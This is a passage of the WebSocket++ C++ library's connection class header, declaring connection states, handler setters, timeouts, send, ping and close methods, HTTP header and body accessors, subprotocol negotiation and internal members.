typedef lib::function<void(lib::error_code const & ec)> write_frame_handler;
// constants related to the default WebSocket protocol versions available
#ifdef _WEBSOCKETPP_INITIALIZER_LISTS_ // simplified C++11 version
/// Container that stores the list of protocol versions supported
/**
* @todo Move this to configs to allow compile/runtime disabling or enabling
* of protocol versions
*/
static std::vector<int> const versions_supported = {0,7,8,13};
#else
/// Helper array to get around lack of initializer lists pre C++11
static int const helper[] = {0,7,8,13};
/// Container that stores the list of protocol versions supported
/**
* @todo Move this to configs to allow compile/runtime disabling or enabling
* of protocol versions
*/
static std::vector<int> const versions_supported(helper,helper+4);
#endif
namespace session {
namespace state {
// externally visible session state (states based on the RFC)
enum value {
connecting = 0,
open = 1,
closing = 2,
closed = 3
};
} // namespace state
namespace fail {
namespace status {
enum value {
GOOD = 0, // no failure yet!
SYSTEM = 1, // system call returned error, check that code
WEBSOCKET = 2, // websocket close codes contain error
UNKNOWN = 3, // No failure information is available
TIMEOUT_TLS = 4, // TLS handshake timed out
TIMEOUT_WS = 5 // WS handshake timed out
};
} // namespace status
} // namespace fail
namespace internal_state {
// More granular internal states. These are used for multi-threaded
// connection synchronization and preventing values that are not yet or no
// longer available from being used.
enum value {
USER_INIT = 0,
TRANSPORT_INIT = 1,
READ_HTTP_REQUEST = 2,
WRITE_HTTP_REQUEST = 3,
READ_HTTP_RESPONSE = 4,
WRITE_HTTP_RESPONSE = 5,
PROCESS_HTTP_REQUEST = 6,
PROCESS_CONNECTION = 7
};
} // namespace internal_state
namespace http_state {
// states to keep track of the progress of http connections
enum value {
init = 0,
deferred = 1,
headers_written = 2,
body_written = 3,
closed = 4
};
} // namespace http_state
} // namespace session
/// Represents an individual WebSocket connection
template <typename config>
class connection
: public config::transport_type::transport_con_type
, public config::connection_base
{
public:
/// Type of this connection
typedef connection<config> type;
/// Type of a shared pointer to this connection
typedef lib::shared_ptr<type> ptr;
/// Type of a weak pointer to this connection
typedef lib::weak_ptr<type> weak_ptr;
/// Type of the concurrency component of this connection
typedef typename config::concurrency_type concurrency_type;
/// Type of the access logging policy
typedef typename config::alog_type alog_type;
/// Type of the error logging policy
typedef typename config::elog_type elog_type;
/// Type of the transport component of this connection
typedef typename config::transport_type::transport_con_type
transport_con_type;
/// Type of a shared pointer to the transport component of this connection
typedef typename transport_con_type::ptr transport_con_ptr;
typedef lib::function<void(ptr)> termination_handler;
typedef typename concurrency_type::scoped_lock_type scoped_lock_type;
typedef typename concurrency_type::mutex_type mutex_type;
typedef typename config::request_type request_type;
typedef typename config::response_type response_type;
typedef typename config::message_type message_type;
typedef typename message_type::ptr message_ptr;
typedef typename config::con_msg_manager_type con_msg_manager_type;
typedef typename con_msg_manager_type::ptr con_msg_manager_ptr;
/// Type of RNG
typedef typename config::rng_type rng_type;
typedef processor::processor<config> processor_type;
typedef lib::shared_ptr<processor_type> processor_ptr;
// Message handler (needs to know message type)
typedef lib::function<void(connection_hdl,message_ptr)> message_handler;
/// Type of a pointer to a transport timer handle
typedef typename transport_con_type::timer_ptr timer_ptr;
// Misc Convenience Types
typedef session::internal_state::value istate_type;
private:
enum terminate_status {
failed = 1,
closed,
unknown
};
public:
explicit connection(bool p_is_server, std::string const & ua, alog_type& alog,
elog_type& elog, rng_type & rng)
: transport_con_type(p_is_server, alog, elog)
, m_handle_read_frame(lib::bind(
&type::handle_read_frame,
this,
lib::placeholders::_1,
lib::placeholders::_2
))
, m_write_frame_handler(lib::bind(
&type::handle_write_frame,
this,
lib::placeholders::_1
))
, m_user_agent(ua)
, m_open_handshake_timeout_dur(config::timeout_open_handshake)
, m_close_handshake_timeout_dur(config::timeout_close_handshake)
, m_pong_timeout_dur(config::timeout_pong)
, m_max_message_size(config::max_message_size)
, m_state(session::state::connecting)
, m_internal_state(session::internal_state::USER_INIT)
, m_msg_manager(new con_msg_manager_type())
, m_send_buffer_size(0)
, m_write_flag(false)
, m_read_flag(true)
, m_is_server(p_is_server)
, m_alog(alog)
, m_elog(elog)
, m_rng(rng)
, m_local_close_code(close::status::abnormal_close)
, m_remote_close_code(close::status::abnormal_close)
, m_is_http(false)
, m_http_state(session::http_state::init)
, m_was_clean(false)
{
m_alog.write(log::alevel::devel,"connection constructor");
}
/// Get a shared pointer to this component
ptr get_shared() {
return lib::static_pointer_cast<type>(transport_con_type::get_shared());
}
///////////////////////////
// Set Handler Callbacks //
///////////////////////////
/// Set open handler
/**
* The open handler is called after the WebSocket handshake is complete and
* the connection is considered OPEN.
*
* @param h The new open_handler
*/
void set_open_handler(open_handler h) {
m_open_handler = h;
}
/// Set close handler
/**
* The close handler is called immediately after the connection is closed.
*
* @param h The new close_handler
*/
void set_close_handler(close_handler h) {
m_close_handler = h;
}
/// Set fail handler
/**
* The fail handler is called whenever the connection fails while the
* handshake is bring processed.
*
* @param h The new fail_handler
*/
void set_fail_handler(fail_handler h) {
m_fail_handler = h;
}
/// Set ping handler
/**
* The ping handler is called whenever the connection receives a ping
* control frame. The ping payload is included.
*
* The ping handler's return time controls whether or not a pong is
* sent in response to this ping. Returning false will suppress the
* return pong. If no ping handler is set a pong will be sent.
*
* @param h The new ping_handler
*/
void set_ping_handler(ping_handler h) {
m_ping_handler = h;
}
/// Set pong handler
/**
* The pong handler is called whenever the connection receives a pong
* control frame. The pong payload is included.
*
* @param h The new pong_handler
*/
void set_pong_handler(pong_handler h) {
m_pong_handler = h;
}
/// Set pong timeout handler
/**
* If the transport component being used supports timers, the pong timeout
* handler is called whenever a pong control frame is not received with the
* configured timeout period after the application sends a ping.
*
* The config setting `timeout_pong` controls the length of the timeout
* period. It is specified in milliseconds.
*
* This can be used to probe the health of the remote endpoint's WebSocket
* implementation. This does not guarantee that the remote application
* itself is still healthy but can be a useful diagnostic.
*
* Note: receipt of this callback doesn't mean the pong will never come.
* This functionality will not suppress delivery of the pong in question
* should it arrive after the timeout.
*
* @param h The new pong_timeout_handler
*/
void set_pong_timeout_handler(pong_timeout_handler h) {
m_pong_timeout_handler = h;
}
/// Set interrupt handler
/**
* The interrupt handler is called whenever the connection is manually
* interrupted by the application.
*
* @param h The new interrupt_handler
*/
void set_interrupt_handler(interrupt_handler h) {
m_interrupt_handler = h;
}
/// Set http handler
/**
* The http handler is called after an HTTP request other than a WebSocket
* upgrade request is received. It allows a WebSocket++ server to respond
* to regular HTTP requests on the same port as it processes WebSocket
* connections. This can be useful for hosting error messages, flash
* policy files, status pages, and other simple HTTP responses. It is not
* intended to be used as a primary web server.
*
* @param h The new http_handler
*/
void set_http_handler(http_handler h) {
m_http_handler = h;
}
/// Set validate handler
/**
* The validate handler is called after a WebSocket handshake has been
* parsed but before a response is returned. It provides the application
* a chance to examine the request and determine whether or not it wants
* to accept the connection.
*
* Returning false from the validate handler will reject the connection.
* If no validate handler is present, all connections will be allowed.
*
* @param h The new validate_handler
*/
void set_validate_handler(validate_handler h) {
m_validate_handler = h;
}
/// Set message handler
/**
* The message handler is called after a new message has been received.
*
* @param h The new message_handler
*/
void set_message_handler(message_handler h) {
m_message_handler = h;
}
//////////////////////////////////////////
// Connection timeouts and other limits //
//////////////////////////////////////////
/// Set open handshake timeout
/**
* Sets the length of time the library will wait after an opening handshake
* has been initiated before cancelling it. This can be used to prevent
* excessive wait times for outgoing clients or excessive resource usage
* from broken clients or DoS attacks on servers.
*
* Connections that time out will have their fail handlers called with the
* open_handshake_timeout error code.
*
* The default value is specified via the compile time config value
* 'timeout_open_handshake'. The default value in the core config
* is 5000ms. A value of 0 will disable the timer entirely.
*
* To be effective, the transport you are using must support timers. See
* the documentation for your transport policy for details about its
* timer support.
*
* @param dur The length of the open handshake timeout in ms
*/
void set_open_handshake_timeout(long dur) {
m_open_handshake_timeout_dur = dur;
}
/// Set close handshake timeout
/**
* Sets the length of time the library will wait after a closing handshake
* has been initiated before cancelling it. This can be used to prevent
* excessive wait times for outgoing clients or excessive resource usage
* from broken clients or DoS attacks on servers.
*
* Connections that time out will have their close handlers called with the
* close_handshake_timeout error code.
*
* The default value is specified via the compile time config value
* 'timeout_close_handshake'. The default value in the core config
* is 5000ms. A value of 0 will disable the timer entirely.
*
* To be effective, the transport you are using must support timers. See
* the documentation for your transport policy for details about its
* timer support.
*
* @param dur The length of the close handshake timeout in ms
*/
void set_close_handshake_timeout(long dur) {
m_close_handshake_timeout_dur = dur;
}
/// Set pong timeout
/**
* Sets the length of time the library will wait for a pong response to a
* ping. This can be used as a keepalive or to detect broken connections.
*
* Pong responses that time out will have the pong timeout handler called.
*
* The default value is specified via the compile time config value
* 'timeout_pong'. The default value in the core config
* is 5000ms. A value of 0 will disable the timer entirely.
*
* To be effective, the transport you are using must support timers. See
* the documentation for your transport policy for details about its
* timer support.
*
* @param dur The length of the pong timeout in ms
*/
void set_pong_timeout(long dur) {
m_pong_timeout_dur = dur;
}
/// Get maximum message size
/**
* Get maximum message size. Maximum message size determines the point at
* which the connection will fail with the message_too_big protocol error.
*
* The default is set by the endpoint that creates the connection.
*
* @since 0.3.0
*/
size_t get_max_message_size() const {
return m_max_message_size;
}
/// Set maximum message size
/**
* Set maximum message size. Maximum message size determines the point at
* which the connection will fail with the message_too_big protocol error.
* This value may be changed during the connection.
*
* The default is set by the endpoint that creates the connection.
*
* @since 0.3.0
*
* @param new_value The value to set as the maximum message size.
*/
void set_max_message_size(size_t new_value) {
m_max_message_size = new_value;
if (m_processor) {
m_processor->set_max_message_size(new_value);
}
}
/// Get maximum HTTP message body size
/**
* Get maximum HTTP message body size. Maximum message body size determines
* the point at which the connection will stop reading an HTTP request whose
* body is too large.
*
* The default is set by the endpoint that creates the connection.
*
* @since 0.5.0
*
* @return The maximum HTTP message body size
*/
size_t get_max_http_body_size() const {
return m_request.get_max_body_size();
}
/// Set maximum HTTP message body size
/**
* Set maximum HTTP message body size. Maximum message body size determines
* the point at which the connection will stop reading an HTTP request whose
* body is too large.
*
* The default is set by the endpoint that creates the connection.
*
* @since 0.5.0
*
* @param new_value The value to set as the maximum message size.
*/
void set_max_http_body_size(size_t new_value) {
m_request.set_max_body_size(new_value);
}
//////////////////////////////////
// Uncategorized public methods //
//////////////////////////////////
/// Get the size of the outgoing write buffer (in payload bytes)
/**
* Retrieves the number of bytes in the outgoing write buffer that have not
* already been dispatched to the transport layer. This represents the bytes
* that are presently cancelable without uncleanly ending the websocket
* connection
*
* This method invokes the m_write_lock mutex
*
* @return The current number of bytes in the outgoing send buffer.
*/
size_t get_buffered_amount() const;
/// Get the size of the outgoing write buffer (in payload bytes)
/**
* @deprecated use `get_buffered_amount` instead
*/
size_t buffered_amount() const {
return get_buffered_amount();
}
////////////////////
// Action Methods //
////////////////////
/// Create a message and then add it to the outgoing send queue
/**
* Convenience method to send a message given a payload string and
* optionally an opcode. Default opcode is utf8 text.
*
* This method locks the m_write_lock mutex
*
* @param payload The payload string to generated the message with
*
* @param op The opcode to generated the message with. Default is
* frame::opcode::text
*/
lib::error_code send(std::string const & payload, frame::opcode::value op =
frame::opcode::text);
/// Send a message (raw array overload)
/**
* Convenience method to send a message given a raw array and optionally an
* opcode. Default opcode is binary.
*
* This method locks the m_write_lock mutex
*
* @param payload A pointer to the array containing the bytes to send.
*
* @param len Length of the array.
*
* @param op The opcode to generated the message with. Default is
* frame::opcode::binary
*/
lib::error_code send(void const * payload, size_t len, frame::opcode::value
op = frame::opcode::binary);
/// Add a message to the outgoing send queue
/**
* If presented with a prepared message it is added without validation or
* framing. If presented with an unprepared message it is validated, framed,
* and then added
*
* Errors are returned via an exception
* \todo make exception system_error rather than error_code
*
* This method invokes the m_write_lock mutex
*
* @param msg A message_ptr to the message to send.
*/
lib::error_code send(message_ptr msg);
/// Asyncronously invoke handler::on_inturrupt
/**
* Signals to the connection to asyncronously invoke the on_inturrupt
* callback for this connection's handler once it is safe to do so.
*
* When the on_inturrupt handler callback is called it will be from
* within the transport event loop with all the thread safety features
* guaranteed by the transport to regular handlers
*
* Multiple inturrupt signals can be active at once on the same connection
*
* @return An error code
*/
lib::error_code interrupt();
/// Transport inturrupt callback
void handle_interrupt();
/// Pause reading of new data
/**
* Signals to the connection to halt reading of new data. While reading is paused,
* the connection will stop reading from its associated socket. In turn this will
* result in TCP based flow control kicking in and slowing data flow from the remote
* endpoint.
*
* This is useful for applications that push new requests to a queue to be processed
* by another thread and need a way to signal when their request queue is full without
* blocking the network processing thread.
*
* Use `resume_reading()` to resume.
*
* If supported by the transport this is done asynchronously. As such reading may not
* stop until the current read operation completes. Typically you can expect to
* receive no more bytes after initiating a read pause than the size of the read
* buffer.
*
* If reading is paused for this connection already nothing is changed.
*/
lib::error_code pause_reading();
/// Pause reading callback
void handle_pause_reading();
/// Resume reading of new data
/**
* Signals to the connection to resume reading of new data after it was paused by
* `pause_reading()`.
*
* If reading is not paused for this connection already nothing is changed.
*/
lib::error_code resume_reading();
/// Resume reading callback
void handle_resume_reading();
/// Send a ping
/**
* Initiates a ping with the given payload/
*
* There is no feedback directly from ping except in cases of immediately
* detectable errors. Feedback will be provided via on_pong or
* on_pong_timeout callbacks.
*
* Ping locks the m_write_lock mutex
*
* @param payload Payload to be used for the ping
*/
void ping(std::string const & payload);
/// exception free variant of ping
void ping(std::string const & payload, lib::error_code & ec);
/// Utility method that gets called back when the ping timer expires
void handle_pong_timeout(std::string payload, lib::error_code const & ec);
/// Send a pong
/**
* Initiates a pong with the given payload.
*
* There is no feedback from a pong once sent.
*
* Pong locks the m_write_lock mutex
*
* @param payload Payload to be used for the pong
*/
void pong(std::string const & payload);
/// exception free variant of pong
void pong(std::string const & payload, lib::error_code & ec);
/// Close the connection
/**
* Initiates the close handshake process.
*
* If close returns successfully the connection will be in the closing
* state and no additional messages may be sent. All messages sent prior
* to calling close will be written out before the connection is closed.
*
* If no reason is specified none will be sent. If no code is specified
* then no code will be sent.
*
* The handler's on_close callback will be called once the close handshake
* is complete.
*
* Reasons will be automatically truncated to the maximum length (123 bytes)
* if necessary.
*
* @param code The close code to send
* @param reason The close reason to send
*/
void close(close::status::value const code, std::string const & reason);
/// exception free variant of close
void close(close::status::value const code, std::string const & reason,
lib::error_code & ec);
////////////////////////////////////////////////
// Pass-through access to the uri information //
////////////////////////////////////////////////
/// Returns the secure flag from the connection URI
/**
* This value is available after the HTTP request has been fully read and
* may be called from any thread.
*
* @return Whether or not the connection URI is flagged secure.
*/
bool get_secure() const;
/// Returns the host component of the connection URI
/**
* This value is available after the HTTP request has been fully read and
* may be called from any thread.
*
* @return The host component of the connection URI
*/
std::string const & get_host() const;
/// Returns the resource component of the connection URI
/**
* This value is available after the HTTP request has been fully read and
* may be called from any thread.
*
* @return The resource component of the connection URI
*/
std::string const & get_resource() const;
/// Returns the port component of the connection URI
/**
* This value is available after the HTTP request has been fully read and
* may be called from any thread.
*
* @return The port component of the connection URI
*/
uint16_t get_port() const;
/// Gets the connection URI
/**
* This should really only be called by internal library methods unless you
* really know what you are doing.
*
* @return A pointer to the connection's URI
*/
uri_ptr get_uri() const;
/// Sets the connection URI
/**
* This should really only be called by internal library methods unless you
* really know what you are doing.
*
* @param uri The new URI to set
*/
void set_uri(uri_ptr uri);
/////////////////////////////
// Subprotocol negotiation //
/////////////////////////////
/// Gets the negotated subprotocol
/**
* Retrieves the subprotocol that was negotiated during the handshake. This
* method is valid in the open handler and later.
*
* @return The negotiated subprotocol
*/
std::string const & get_subprotocol() const;
/// Gets all of the subprotocols requested by the client
/**
* Retrieves the subprotocols that were requested during the handshake. This
* method is valid in the validate handler and later.
*
* @return A vector of the requested subprotocol
*/
std::vector<std::string> const & get_requested_subprotocols() const;
/// Adds the given subprotocol string to the request list (exception free)
/**
* Adds a subprotocol to the list to send with the opening handshake. This
* may be called multiple times to request more than one. If the server
* supports one of these, it may choose one. If so, it will return it
* in it's handshake reponse and the value will be available via
* get_subprotocol(). Subprotocol requests should be added in order of
* preference.
*
* @param request The subprotocol to request
* @param ec A reference to an error code that will be filled in the case of
* errors
*/
void add_subprotocol(std::string const & request, lib::error_code & ec);
/// Adds the given subprotocol string to the request list
/**
* Adds a subprotocol to the list to send with the opening handshake. This
* may be called multiple times to request more than one. If the server
* supports one of these, it may choose one. If so, it will return it
* in it's handshake reponse and the value will be available via
* get_subprotocol(). Subprotocol requests should be added in order of
* preference.
*
* @param request The subprotocol to request
*/
void add_subprotocol(std::string const & request);
/// Select a subprotocol to use (exception free)
/**
* Indicates which subprotocol should be used for this connection. Valid
* only during the validate handler callback. Subprotocol selected must have
* been requested by the client. Consult get_requested_subprotocols() for a
* list of valid subprotocols.
*
* This member function is valid on server endpoints/connections only
*
* @param value The subprotocol to select
* @param ec A reference to an error code that will be filled in the case of
* errors
*/
void select_subprotocol(std::string const & value, lib::error_code & ec);
/// Select a subprotocol to use
/**
* Indicates which subprotocol should be used for this connection. Valid
* only during the validate handler callback. Subprotocol selected must have
* been requested by the client. Consult get_requested_subprotocols() for a
* list of valid subprotocols.
*
* This member function is valid on server endpoints/connections only
*
* @param value The subprotocol to select
*/
void select_subprotocol(std::string const & value);
/////////////////////////////////////////////////////////////
// Pass-through access to the request and response objects //
/////////////////////////////////////////////////////////////
/// Retrieve a request header
/**
* Retrieve the value of a header from the handshake HTTP request.
*
* @param key Name of the header to get
* @return The value of the header
*/
std::string const & get_request_header(std::string const & key) const;
/// Retrieve a request body
/**
* Retrieve the value of the request body. This value is typically used with
* PUT and POST requests to upload files or other data. Only HTTP
* connections will ever have bodies. WebSocket connection's will always
* have blank bodies.
*
* @return The value of the request body.
*/
std::string const & get_request_body() const;
/// Retrieve a response header
/**
* Retrieve the value of a header from the handshake HTTP request.
*
* @param key Name of the header to get
* @return The value of the header
*/
std::string const & get_response_header(std::string const & key) const;
/// Get response HTTP status code
/**
* Gets the response status code
*
* @since 0.7.0
*
* @return The response status code sent
*/
http::status_code::value get_response_code() const {
return m_response.get_status_code();
}
/// Get response HTTP status message
/**
* Gets the response status message
*
* @since 0.7.0
*
* @return The response status message sent
*/
std::string const & get_response_msg() const {
return m_response.get_status_msg();
}
/// Set response status code and message
/**
* Sets the response status code to `code` and looks up the corresponding
* message for standard codes. Non-standard codes will be entered as Unknown
* use set_status(status_code::value,std::string) overload to set both
* values explicitly.
*
* This member function is valid only from the http() and validate() handler
* callbacks.
*
* @param code Code to set
* @param msg Message to set
* @see websocketpp::http::response::set_status
*/
void set_status(http::status_code::value code);
/// Set response status code and message
/**
* Sets the response status code and message to independent custom values.
* use set_status(status_code::value) to set the code and have the standard
* message be automatically set.
*
* This member function is valid only from the http() and validate() handler
* callbacks.
*
* @param code Code to set
* @param msg Message to set
* @see websocketpp::http::response::set_status
*/
void set_status(http::status_code::value code, std::string const & msg);
/// Set response body content
/**
* Set the body content of the HTTP response to the parameter string. Note
* set_body will also set the Content-Length HTTP header to the appropriate
* value. If you want the Content-Length header to be something else set it
* to something else after calling set_body
*
* This member function is valid only from the http() and validate() handler
* callbacks.
*
* @param value String data to include as the body content.
* @see websocketpp::http::response::set_body
*/
void set_body(std::string const & value);
void set_body(std::string && value);
/// Append a header
/**
* If a header with this name already exists the value will be appended to
* the existing header to form a comma separated list of values. Use
* `connection::replace_header` to overwrite existing values.
*
* This member function is valid only from the http() and validate() handler
* callbacks, or to a client connection before connect has been called.
*
* @param key Name of the header to set
* @param val Value to add
* @see replace_header
* @see websocketpp::http::parser::append_header
*/
void append_header(std::string const & key, std::string const & val);
/// Replace a header
/**
* If a header with this name already exists the old value will be replaced
* Use `connection::append_header` to append to a list of existing values.
*
* This member function is valid only from the http() and validate() handler
* callbacks, or to a client connection before connect has been called.
*
* @param key Name of the header to set
* @param val Value to set
* @see append_header
* @see websocketpp::http::parser::replace_header
*/
void replace_header(std::string const & key, std::string const & val);
/// Remove a header
/**
* Removes a header from the response.
*
* This member function is valid only from the http() and validate() handler
* callbacks, or to a client connection before connect has been called.
*
* @param key The name of the header to remove
* @see websocketpp::http::parser::remove_header
*/
void remove_header(std::string const & key);
/// Get request object
/**
* Direct access to request object. This can be used to call methods of the
* request object that are not part of the standard request API that
* connection wraps.
*
* Note use of this method involves using behavior specific to the
* configured HTTP policy. Such behavior may not work with alternate HTTP
* policies.
*
* @since 0.3.0-alpha3
*
* @return A const reference to the raw request object
*/
request_type const & get_request() const {
return m_request;
}
/// Get response object
/**
* Direct access to the HTTP response sent or received as a part of the
* opening handshake. This can be used to call methods of the response
* object that are not part of the standard request API that connection
* wraps.
*
* Note use of this method involves using behavior specific to the
* configured HTTP policy. Such behavior may not work with alternate HTTP
* policies.
*
* @since 0.7.0
*
* @return A const reference to the raw response object
*/
response_type const & get_response() const {
return m_response;
}
/// Defer HTTP Response until later (Exception free)
/**
* Used in the http handler to defer the HTTP response for this connection
* until later. Handshake timers will be canceled and the connection will be
* left open until `send_http_response` or an equivalent is called.
*
* Warning: deferred connections won't time out and as a result can tie up
* resources.
*
* @since 0.6.0
*
* @return A status code, zero on success, non-zero otherwise
*/
lib::error_code defer_http_response();
/// Send deferred HTTP Response (exception free)
/**
* Sends an http response to an HTTP connection that was deferred. This will
* send a complete response including all headers, status line, and body
* text. The connection will be closed afterwards.
*
* @since 0.6.0
*
* @param ec A status code, zero on success, non-zero otherwise
*/
void send_http_response(lib::error_code & ec);
/// Send deferred HTTP Response
void send_http_response();
// TODO HTTPNBIO: write_headers
// function that processes headers + status so far and writes it to the wire
// beginning the HTTP response body state. This method will ignore anything
// in the response body.
// TODO HTTPNBIO: write_body_message
// queues the specified message_buffer for async writing
// TODO HTTPNBIO: finish connection
//
// TODO HTTPNBIO: write_response
// Writes the whole response, headers + body and closes the connection
/////////////////////////////////////////////////////////////
// Pass-through access to the other connection information //
/////////////////////////////////////////////////////////////
/// Get Connection Handle
/**
* The connection handle is a token that can be shared outside the
* WebSocket++ core for the purposes of identifying a connection and
* sending it messages.
*
* @return A handle to the connection
*/
connection_hdl get_handle() const {
return m_connection_hdl;
}
/// Get whether or not this connection is part of a server or client
/**
* @return whether or not the connection is attached to a server endpoint
*/
bool is_server() const {
return m_is_server;
}
/// Return the same origin policy origin value from the opening request.
/**
* This value is available after the HTTP request has been fully read and
* may be called from any thread.
*
* @return The connection's origin value from the opening handshake.
*/
std::string const & get_origin() const;
/// Return the connection state.
/**
* Values can be connecting, open, closing, and closed
*
* @return The connection's current state.
*/
session::state::value get_state() const;
/// Get the WebSocket close code sent by this endpoint.
/**
* @return The WebSocket close code sent by this endpoint.
*/
close::status::value get_local_close_code() const {
return m_local_close_code;
}
/// Get the WebSocket close reason sent by this endpoint.
/**
* @return The WebSocket close reason sent by this endpoint.
*/
std::string const & get_local_close_reason() const {
return m_local_close_reason;
}
/// Get the WebSocket close code sent by the remote endpoint.
/**
* @return The WebSocket close code sent by the remote endpoint.
*/
close::status::value get_remote_close_code() const {
return m_remote_close_code;
}
/// Get the WebSocket close reason sent by the remote endpoint.
/**
* @return The WebSocket close reason sent by the remote endpoint.
*/
std::string const & get_remote_close_reason() const {
return m_remote_close_reason;
}
/// Get the internal error code for a closed/failed connection
/**
* Retrieves a machine readable detailed error code indicating the reason
* that the connection was closed or failed. Valid only after the close or
* fail handler is called.
*
* @return Error code indicating the reason the connection was closed or
* failed
*/
lib::error_code get_ec() const {
return m_ec;
}
/// Get a message buffer
/**
* Warning: The API related to directly sending message buffers may change
* before the 1.0 release. If you plan to use it, please keep an eye on any
* breaking changes notifications in future release notes. Also if you have
* any feedback about usage and capabilities now is a great time to provide
* it.
*
* Message buffers are used to store message payloads and other message
* metadata.
*
* The size parameter is a hint only. Your final payload does not need to
* match it. There may be some performance benefits if the initial size
* guess is equal to or slightly higher than the final payload size.
*
* @param op The opcode for the new message
* @param size A hint to optimize the initial allocation of payload space.
* @return A new message buffer
*/
message_ptr get_message(websocketpp::frame::opcode::value op, size_t size)
const
{
return m_msg_manager->get_message(op, size);
}
////////////////////////////////////////////////////////////////////////
// The remaining public member functions are for internal/policy use //
// only. Do not call from application code unless you understand what //
// you are doing. //
////////////////////////////////////////////////////////////////////////
void read_handshake(size_t num_bytes);
void handle_read_handshake(lib::error_code const & ec,
size_t bytes_transferred);
void handle_read_http_response(lib::error_code const & ec,
size_t bytes_transferred);
void handle_write_http_response(lib::error_code const & ec);
void handle_send_http_request(lib::error_code const & ec);
void handle_open_handshake_timeout(lib::error_code const & ec);
void handle_close_handshake_timeout(lib::error_code const & ec);
void handle_read_frame(lib::error_code const & ec, size_t bytes_transferred);
void read_frame();
/// Get array of WebSocket protocol versions that this connection supports.
std::vector<int> const & get_supported_versions() const;
/// Sets the handler for a terminating connection. Should only be used
/// internally by the endpoint class.
void set_termination_handler(termination_handler new_handler);
void terminate(lib::error_code const & ec);
void handle_terminate(terminate_status tstat, lib::error_code const & ec);
/// Checks if there are frames in the send queue and if there are sends one
/**
* \todo unit tests
*
* This method locks the m_write_lock mutex
*/
void write_frame();
/// Process the results of a frame write operation and start the next write
/**
* \todo unit tests
*
* This method locks the m_write_lock mutex
*
* @param terminate Whether or not to terminate the connection upon
* completion of this write.
*
* @param ec A status code from the transport layer, zero on success,
* non-zero otherwise.
*/
void handle_write_frame(lib::error_code const & ec);
// protected:
// This set of methods would really like to be protected, but doing so
// requires that the endpoint be able to friend the connection. This is
// allowed with C++11, but not prior versions
/// Start the connection state machine
void start();
/// Set Connection Handle
/**
* The connection handle is a token that can be shared outside the
* WebSocket++ core for the purposes of identifying a connection and
* sending it messages.
*
* @param hdl A connection_hdl that the connection will use to refer
* to itself.
*/
void set_handle(connection_hdl hdl) {
m_connection_hdl = hdl;
transport_con_type::set_handle(hdl);
}
protected:
void handle_transport_init(lib::error_code const & ec);
/// Set m_processor based on information in m_request. Set m_response
/// status and return an error code indicating status.
lib::error_code initialize_processor();
/// Perform WebSocket handshake validation of m_request using m_processor.
/// set m_response and return an error code indicating status.
lib::error_code process_handshake_request();
private:
/// Completes m_response, serializes it, and sends it out on the wire.
void write_http_response(lib::error_code const & ec);
/// Sends an opening WebSocket connect request
void send_http_request();
/// Alternate path for write_http_response in error conditions
void write_http_response_error(lib::error_code const & ec);
/// Process control message
/**
*
*/
void process_control_frame(message_ptr msg);
/// Send close acknowledgement
/**
* If no arguments are present no close code/reason will be specified.
*
* Note: the close code/reason values provided here may be overrided by
* other settings (such as silent close).
*
* @param code The close code to send
* @param reason The close reason to send
* @return A status code, zero on success, non-zero otherwise
*/
lib::error_code send_close_ack(close::status::value code =
close::status::blank, std::string const & reason = std::string());
/// Send close frame
/**
* If no arguments are present no close code/reason will be specified.
*
* Note: the close code/reason values provided here may be overrided by
* other settings (such as silent close).
*
* The ack flag determines what to do in the case of a blank status and
* whether or not to terminate the TCP connection after sending it.
*
* @param code The close code to send
* @param reason The close reason to send
* @param ack Whether or not this is an acknowledgement close frame
* @return A status code, zero on success, non-zero otherwise
*/
lib::error_code send_close_frame(close::status::value code =
close::status::blank, std::string const & reason = std::string(), bool ack = false,
bool terminal = false);
/// Get a pointer to a new WebSocket protocol processor for a given version
/**
* @param version Version number of the WebSocket protocol to get a
* processor for. Negative values indicate invalid/unknown versions and will
* always return a null ptr
*
* @return A shared_ptr to a new instance of the appropriate processor or a
* null ptr if there is no installed processor that matches the version
* number.
*/
processor_ptr get_processor(int version) const;
/// Add a message to the write queue
/**
* Adds a message to the write queue and updates any associated shared state
*
* Must be called while holding m_write_lock
*
* @todo unit tests
*
* @param msg The message to push
*/
void write_push(message_ptr msg);
/// Pop a message from the write queue
/**
* Removes and returns a message from the write queue and updates any
* associated shared state.
*
* Must be called while holding m_write_lock
*
* @todo unit tests
*
* @return the message_ptr at the front of the queue
*/
message_ptr write_pop();
/// Prints information about the incoming connection to the access log
/**
* Prints information about the incoming connection to the access log.
* Includes: connection type, websocket version, remote endpoint, user agent
* path, status code.
*/
void log_open_result();
/// Prints information about a connection being closed to the access log
/**
* Includes: local and remote close codes and reasons
*/
void log_close_result();
/// Prints information about a connection being failed to the access log
/**
* Includes: error code and message for why it was failed
*/
void log_fail_result();
/// Prints information about HTTP connections
/**
* Includes: TODO
*/
void log_http_result();
/// Prints information about an arbitrary error code on the specified channel
template <typename error_type>
void log_err(log::level l, char const * msg, error_type const & ec) {
std::stringstream s;
s << msg << " error: " << ec << " (" << ec.message() << ")";
m_elog.write(l, s.str());
}
// internal handler functions
read_handler m_handle_read_frame;
write_frame_handler m_write_frame_handler;
// static settings
std::string const m_user_agent;
/// Pointer to the connection handle
connection_hdl m_connection_hdl;
/// Handler objects
open_handler m_open_handler;
close_handler m_close_handler;
fail_handler m_fail_handler;
ping_handler m_ping_handler;
pong_handler m_pong_handler;
pong_timeout_handler m_pong_timeout_handler;
interrupt_handler m_interrupt_handler;
http_handler m_http_handler;
validate_handler m_validate_handler;
message_handler m_message_handler;
/// constant values
long m_open_handshake_timeout_dur;
long m_close_handshake_timeout_dur;
long m_pong_timeout_dur;
size_t m_max_message_size;
/// External connection state
/**
* Lock: m_connection_state_lock
*/
session::state::value m_state;
/// Internal connection state
/**
* Lock: m_connection_state_lock
*/
istate_type m_internal_state;
mutable mutex_type m_connection_state_lock;
/// The lock used to protect the message queue
/**
* Serializes access to the write queue as well as shared state within the
* processor.
*/
mutex_type m_write_lock;
// connection resources
char m_buf[config::connection_read_buffer_size];
size_t m_buf_cursor;
termination_handler m_termination_handler;
con_msg_manager_ptr m_msg_manager;
timer_ptr m_handshake_timer;
timer_ptr m_ping_timer;
/// @todo this is not memory efficient. this value is not used after the
/// handshake.
std::string m_handshake_buffer;
/// Pointer to the processor object for this connection
/**
* The processor provides functionality that is specific to the WebSocket
* protocol version that the client has negotiated. It also contains all of
* the state necessary to encode and decode the incoming and outgoing
* WebSocket byte streams
*
* Use of the prepare_data_frame method requires lock: m_write_lock
*/
processor_ptr m_processor;
/// Queue of unsent outgoing messages
/**
* Lock: m_write_lock
*/
std::queue<message_ptr> m_send_queue;
